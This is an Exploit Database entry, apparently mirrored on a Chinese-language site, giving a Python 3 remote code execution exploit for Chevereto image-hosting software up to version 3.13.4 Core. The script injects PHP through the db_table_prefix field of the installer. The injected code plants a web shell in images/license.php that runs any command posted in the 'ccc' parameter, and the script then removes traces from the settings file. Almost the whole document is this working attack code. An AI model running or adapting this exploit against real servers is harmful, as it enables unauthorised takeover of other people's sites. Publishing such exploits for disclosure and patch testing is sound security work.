Chevereto 3.13.4 Core – Remote Code Execution

• Exploit Database
• 36 阅读

• 作者： Jinny Ramsmark
  日期： 2020-01-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47903/

• # Exploit Title:Chevereto 3.13.4 Core - Remote Code Execution
  # Date: 2020-01-11
  # Exploit Author: Jinny Ramsmark 
  # Vendor Homepage:https://chevereto.com/
  # Software Link: https://github.com/Chevereto/Chevereto-Free/releases
  # Version:1.0.0 Free - 1.1.4 Free, <= 3.13.4 Core
  # Tested on: Ubuntu 19.10, PHP 7.3, Apache/2.4.41
  # CVE : N/A
  
  from urllib import request, parse
  from time import sleep
  
  #Python3
  #Needs to have a valid database server, database and user to exploit
  #1.0.0 Free version confirmed vulnerable
  #1.1.4 Free version confirmed vulnerable
  #3.13.4 Core version confirmed vulnerable
  
  def main():
  
  target = 'http://cheveretoinstallation/'
  cookie = 'PHPSESSID=89efba681a8bb81d32cd10d3170baf6e'
  db_host = 'ip_to_valid_mysql'
  db_name = 'valid_db'
  db_user = 'valid_user'
  db_pass = 'valid_pass'
  db_table_prefix = 'chv_'
  
  inject = "';if(strpos(file_get_contents('images/license.php'), '$_POST[\"ccc\"]') === false){file_put_contents('images/license.php','if(isset($_POST[\"ccc\"])){;system($_POST[\"ccc\"]);}');}//"
  
  #Clean data for when we want to clean up the settings file
  params = {'db_host': db_host, 'db_name': db_name, 'db_user': db_user, 'db_pass': db_pass, 'db_table_prefix': db_table_prefix}
  data = parse.urlencode(params).encode()
  
  #Settings data with injected code
  params['db_table_prefix'] += inject
  dataInject = parse.urlencode(params).encode()
  
  #Do inject
  doPostRequest(target + 'install', dataInject, cookie)
  sleep(1)
  
  #Request index page to run the injected code
  doRequest(target)
  
  sleep(1)
  #Do a clean request to clean up the settings.php file
  doPostRequest(target + 'install', data, cookie)
  
  def doPostRequest(target, data, cookie):
  req = request.Request(target, data=data)
  req.add_header('Cookie', cookie)
  resp = request.urlopen(req)
  
  def doRequest(target):
  req = request.Request(target)
  resp = request.urlopen(req)
  
  if __name__ == '__main__':
  main()